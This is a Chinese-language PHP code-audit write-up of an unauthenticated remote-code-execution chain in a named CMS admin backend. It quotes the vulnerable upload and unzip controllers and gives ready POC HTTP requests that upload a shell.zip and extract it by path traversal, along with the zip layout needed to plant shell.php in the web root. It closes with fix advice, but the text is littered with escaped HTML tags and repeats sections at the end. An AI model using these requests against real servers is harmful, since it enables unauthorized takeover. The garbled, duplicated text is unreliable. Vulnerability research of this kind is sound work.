PHP代码审计实战：某CMS后台RCE漏洞分析与利用<\/h1>

漏洞概述<\/h2>
本文分析的是一个PHP CMS系统（阿拉德后台）存在的远程代码执行（RCE）漏洞组合。该漏洞通过文件上传与解压功能的组合利用，实现在未授权情况下获取服务器权限。<\/p>

环境信息<\/h2>

源码名称<\/strong>：阿拉德后台<\/li>
源码地址<\/strong>：https:\/\/www.37boke.com\/220.html<\/li>
漏洞类型<\/strong>：未授权文件上传+路径遍历解压<\/li>

影响版本<\/strong>：特定版本<\/li> <\/ul>
路由分析<\/h2>
漏洞涉及两个关键路由：<\/p>

\/admin\/File\/elementUpload.html<\/code> - 文件上传功能<\/li>
\/admin\/Update\/unzip.html<\/code> - 文件解压功能<\/li> <\/ol> 对应文件结构：<\/p> game\/application\/admin\/controller\/File.php - elementUpload方法 game\/application\/admin\/controller\/Update.php - unzip方法 <\/code><\/pre> 代码审计分析<\/h2> 1. 文件上传漏洞点分析<\/h3> 文件位置<\/strong>：File.php<\/code>中的elementUpload<\/code>方法<\/p> public<\/span> function<\/span> elementUpload<\/span>(){ <\/span><\/span> $data =<\/span> input<\/span>(''<\/span>); <\/span><\/span> $dir =<\/span> (isset<\/span>($data["dir"<\/span>]) &&<\/span> !<\/span>empty<\/span>($data["dir"<\/span>]))?<\/span>trim<\/span>($data["dir"<\/span>]) :<\/span> "ald"<\/span>; <\/span><\/span> <\/span><\/span> \/\/ 获取上传的文件信息 <\/span><\/span><\/span><\/span> $file =<\/span> $_FILES['file'<\/span>]; <\/span><\/span> $extension =<\/span> strtolower<\/span>(pathInfo<\/span>($file["name"<\/span>],PATHINFO_EXTENSION<\/span>)); <\/span><\/span> $types =<\/span> array<\/span>("rar"<\/span>,"zip"<\/span>,"sql"<\/span>,"json"<\/span>); <\/span><\/span> <\/span><\/span> if<\/span>(!<\/span>in_array<\/span>($extension,$types)){ <\/span><\/span> exit<\/span>(json_encode<\/span>(['status'<\/span> =><\/span> 'error'<\/span>,'msg'<\/span>=><\/span>"禁止上传.<\/span>{<\/span>$extension}<\/span>文件"<\/span>])); <\/span><\/span> } <\/span><\/span> <\/span><\/span> if<\/span> ($_SERVER["REQUEST_METHOD"<\/span>] ==<\/span> "POST"<\/span>) { <\/span><\/span> \/\/ 保存文件的目录路径 <\/span><\/span><\/span><\/span> $targetDir =<\/span> ROOT_PATH<\/span> .<\/span> "public\/uploads\/<\/span>{<\/span>$dir}<\/span>"<\/span>; <\/span><\/span> <\/span><\/span> if<\/span>(!<\/span>file_exists<\/span>($targetDir)){ <\/span><\/span> mkdir<\/span>($targetDir,0777<\/span>,true<\/span>); <\/span><\/span> } <\/span><\/span> <\/span><\/span> \/\/ 中文文件名处理 <\/span><\/span><\/span><\/span> if<\/span>(preg_match<\/span>('\/[\x{4e00}-\x{9fa5}]\/u'<\/span>, $file["name"<\/span>])){ <\/span><\/span> $pinyin=<\/span>new<\/span> \PinYin<\/span>(); <\/span><\/span> $fileName =<\/span> $pinyin-><\/span>getPinYin_string<\/span>($file['name'<\/span>]); <\/span><\/span> }else<\/span>{ <\/span><\/span> $fileName =<\/span> basename<\/span>($file["name"<\/span>]); <\/span><\/span> } <\/span><\/span> <\/span><\/span> $targetFilePath =<\/span> $targetDir .<\/span> DIRECTORY_SEPARATOR<\/span> .<\/span> $fileName; <\/span><\/span> <\/span><\/span> \/\/ 木马检测 <\/span><\/span><\/span><\/span> if<\/span>(checkMuma<\/span>($file["tmp_name"<\/span>])==<\/span>1<\/span>) { <\/span><\/span> exit<\/span>(json_encode<\/span>(['status'<\/span> =><\/span> 'error'<\/span>,'msg'<\/span>=><\/span>"您上传的文件为可疑木马，请自重！"<\/span>])); <\/span><\/span> } <\/span><\/span> <\/span><\/span> if<\/span> (move_uploaded_file<\/span>($file["tmp_name"<\/span>], $targetFilePath)) { <\/span><\/span> $path =<\/span> "\/uploads\/<\/span>{<\/span>$dir}<\/span>\/"<\/span>.<\/span>$fileName; <\/span><\/span> echo<\/span> json_encode<\/span>(['status'<\/span> =><\/span> 'success'<\/span>,'msg'<\/span>=><\/span>"上传成功"<\/span>,'path'<\/span>=><\/span>$path]); <\/span><\/span> } else<\/span> { <\/span><\/span> echo<\/span> json_encode<\/span>(['status'<\/span> =><\/span> 'error'<\/span>,'msg'<\/span>=><\/span>"上传失败"<\/span>]); <\/span><\/span> } <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞分析<\/strong>：<\/p> 允许上传rar<\/code>、zip<\/code>、sql<\/code>、json<\/code>格式文件<\/li> 可通过dir<\/code>参数控制上传目录（public\/uploads\/{$dir}<\/code>）<\/li> 存在木马检测函数checkMuma<\/code>，但仅检测上传的临时文件<\/li> 上传后的文件路径返回给用户：\/uploads\/{$dir}\/文件名<\/code><\/li> <\/ul> 2. 文件解压漏洞点分析<\/h3> 文件位置<\/strong>：Update.php<\/code>中的unzip<\/code>方法<\/p> public<\/span> function<\/span> unzip<\/span>(){ <\/span><\/span> if<\/span>(request<\/span>()-><\/span>isPost<\/span>()){ <\/span><\/span> $data=<\/span>input<\/span>('post.'<\/span>); <\/span><\/span> !<\/span>isset<\/span>($data['zipPath'<\/span>]) &&<\/span> $this-><\/span>error<\/span>('参数非法'<\/span>); <\/span><\/span> $zipPath =<\/span> trim<\/span>($data['zipPath'<\/span>]); <\/span><\/span> empty<\/span>($zipPath) &&<\/span> $this-><\/span>error<\/span>('zipPath参数不能为空'<\/span>); <\/span><\/span> <\/span><\/span> try<\/span>{ <\/span><\/span> $zip =<\/span> new<\/span> \ZipArchive<\/span>; <\/span><\/span> if<\/span> ($zip-><\/span>open<\/span>($zipPath) ===<\/span> true<\/span>) { <\/span><\/span> $docnum =<\/span> $zip-><\/span>numFiles<\/span>; <\/span><\/span> for<\/span>($i =<\/span> 0<\/span>; $i <<\/span> $docnum; $i++<\/span>) { <\/span><\/span> $statInfo =<\/span> $zip-><\/span>statIndex<\/span>($i,\ZipArchive<\/span>::<\/span>FL_ENC_RAW<\/span>); <\/span><\/span> $filename =<\/span> $this-><\/span>transcoding<\/span>($statInfo['name'<\/span>]); \/\/转码 <\/span><\/span><\/span><\/span> <\/span><\/span> if<\/span>($statInfo['crc'<\/span>] ==<\/span> 0<\/span>) { <\/span><\/span> \/\/ 目录处理 <\/span><\/span><\/span><\/span> $dir =<\/span> ROOT_PATH<\/span>.<\/span>'\/'<\/span>.<\/span>substr<\/span>($filename, 0<\/span>,-<\/span>1<\/span>); <\/span><\/span> if<\/span> (!<\/span>file_exists<\/span>($dir)){ <\/span><\/span> mkdir<\/span>($dir,0755<\/span>,true<\/span>); <\/span><\/span> } <\/span><\/span> } else<\/span> { <\/span><\/span> \/\/ 文件处理 <\/span><\/span><\/span><\/span> $filepath =<\/span> ROOT_PATH<\/span>.<\/span>'\/'<\/span>.<\/span>$filename; <\/span><\/span> \/\/自动创建目录 <\/span><\/span><\/span><\/span> $dir =<\/span> dirname<\/span>($filepath); <\/span><\/span> if<\/span> (!<\/span>file_exists<\/span>($dir)){ <\/span><\/span> mkdir<\/span>($dir,0755<\/span>,true<\/span>); <\/span><\/span> } <\/span><\/span> \/\/拷贝文件 <\/span><\/span><\/span><\/span> copy<\/span>('zip:\/\/'<\/span>.<\/span>$zipPath.<\/span>'#'<\/span>.<\/span>$zip-><\/span>getNameIndex<\/span>($i), $filepath); <\/span><\/span> } <\/span><\/span> } <\/span><\/span> $zip-><\/span>close<\/span>(); <\/span><\/span> } <\/span><\/span> } <\/span><\/span> \/\/ ... 后续代码 <\/span><\/span><\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞分析<\/strong>：<\/p> 接受zipPath<\/code>参数，支持相对路径和绝对路径<\/li> 使用ROOT_PATH.'\/'.$filename<\/code>拼接解压路径，存在路径遍历风险<\/li> 解压时会自动创建不存在的目录<\/li> 没有对解压路径进行安全限制<\/li> <\/ul> 3. 权限验证缺失<\/h3> 两个控制器文件继承的Common<\/code>父类没有进行登录验证，导致未授权访问。<\/p> 漏洞利用链<\/h2> 利用思路<\/h3> 通过上传功能将恶意ZIP文件上传到指定目录<\/li> 通过解压功能利用路径遍历将文件解压到web可访问目录<\/li> 访问解压后的恶意文件实现RCE<\/li> <\/ol> 具体步骤<\/h3> 第一步：上传恶意ZIP文件<\/h4> POC请求<\/strong>：<\/p> POST<\/span> \/admin\/File\/elementUpload.html?dir=gm HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> target.com<\/span> <\/span><\/span>Content-Length:<\/span> 448<\/span> <\/span><\/span>User-Agent:<\/span> Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/span> <\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=----WebKitFormBoundaryWXA97hizSHe7pnn7<\/span> <\/span><\/span>Accept:<\/span> *\/*<\/span> <\/span><\/span>Connection:<\/span> close<\/span> <\/span><\/span> <\/span><\/span>------WebKitFormBoundaryWXA97hizSHe7pnn7 <\/span><\/span>Content-Disposition: form-data; name="file"; filename="shell.zip" <\/span><\/span>Content-Type: application\/x-zip-compressed <\/span><\/span> <\/span><\/span>[ZIP文件内容] <\/span><\/span>------WebKitFormBoundaryWXA97hizSHe7pnn7-- <\/span><\/span><\/code><\/pre>关键点<\/strong>：<\/p> 使用dir=gm<\/code>参数，文件将上传到public\/uploads\/gm\/<\/code>目录<\/li> ZIP文件需要包含web shell，但需要特殊构造目录结构<\/li> <\/ul> 第二步：解压ZIP文件到web目录<\/h4> POC请求<\/strong>：<\/p> POST<\/span> \/admin\/Update\/unzip.html HTTP<\/span>\/<\/span>1.1<\/span> <\/span><\/span>Host:<\/span> target.com<\/span> <\/span><\/span>User-Agent:<\/span> Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36<\/span> <\/span><\/span>Content-Type:<\/span> application\/x-www-form-urlencoded<\/span> <\/span><\/span>Content-Length:<\/span> 34<\/span> <\/span><\/span>Connection:<\/span> close<\/span> <\/span><\/span> <\/span><\/span>zipPath=..\/public\/uploads\/gm\/shell.zip <\/span><\/span><\/code><\/pre>关键点<\/strong>：<\/p> zipPath<\/code>参数使用相对路径..\/public\/uploads\/gm\/shell.zip<\/code><\/li> 需要确保ZIP文件内部结构为public\/shell.php<\/code>，这样解压后会到game\/public\/shell.php<\/code><\/li> <\/ul> ZIP文件构造要求<\/h4> 压缩时必须包含public\/<\/code>目录前缀<\/li> 示例结构：<\/li> <\/ul> shell.zip └── public\/ └── shell.php <\/code><\/pre> 这样解压时，ROOT_PATH.'\/'.$filename<\/code>会变成ROOT_PATH\/public\/shell.php<\/code>，即解压到web可访问目录。<\/p> 漏洞修复建议<\/h2> 加强权限验证<\/strong>：在Common类中添加登录状态检查<\/li> 限制上传目录<\/strong>：固定上传目录，不允许通过参数控制<\/li> 安全解压<\/strong>：限制解压路径必须在指定安全目录内<\/li> 过滤路径遍历字符（..\/<\/code>）<\/li> 检查解压后的文件类型，禁止解压PHP等可执行文件<\/li> <\/ul> <\/li> 加强文件检测<\/strong>：完善木马检测机制，检测压缩包内容<\/li> <\/ol> 总结<\/h2> 本漏洞是典型的"功能组合型"安全漏洞，单个功能看似安全，但组合使用会产生严重的安全问题。在代码审计时需要特别注意功能间的关联性，以及权限验证的完整性。<\/p>

PHP代码审计实战：某CMS后台RCE漏洞分析与利用<\/h1>

漏洞概述<\/h2> 本文分析的是一个PHP CMS系统（阿拉德后台）存在的远程代码执行（RCE）漏洞组合。该漏洞通过文件上传与解压功能的组合利用，实现在未授权情况下获取服务器权限。<\/p>

代码审计分析<\/h2>

3. 权限验证缺失<\/h3> 两个控制器文件继承的Common<\/code>父类没有进行登录验证，导致未授权访问。<\/p>

具体步骤<\/h3>

总结<\/h2> 本漏洞是典型的"功能组合型"安全漏洞，单个功能看似安全，但组合使用会产生严重的安全问题。在代码审计时需要特别注意功能间的关联性，以及权限验证的完整性。<\/p>

漏洞概述<\/h2>
本文分析的是一个PHP CMS系统（阿拉德后台）存在的远程代码执行（RCE）漏洞组合。该漏洞通过文件上传与解压功能的组合利用，实现在未授权情况下获取服务器权限。<\/p>

3. 权限验证缺失<\/h3>
两个控制器文件继承的`Common<\/code>父类没有进行登录验证，导致未授权访问。<\/p>`

总结<\/h2>
本漏洞是典型的"功能组合型"安全漏洞，单个功能看似安全，但组合使用会产生严重的安全问题。在代码审计时需要特别注意功能间的关联性，以及权限验证的完整性。<\/p>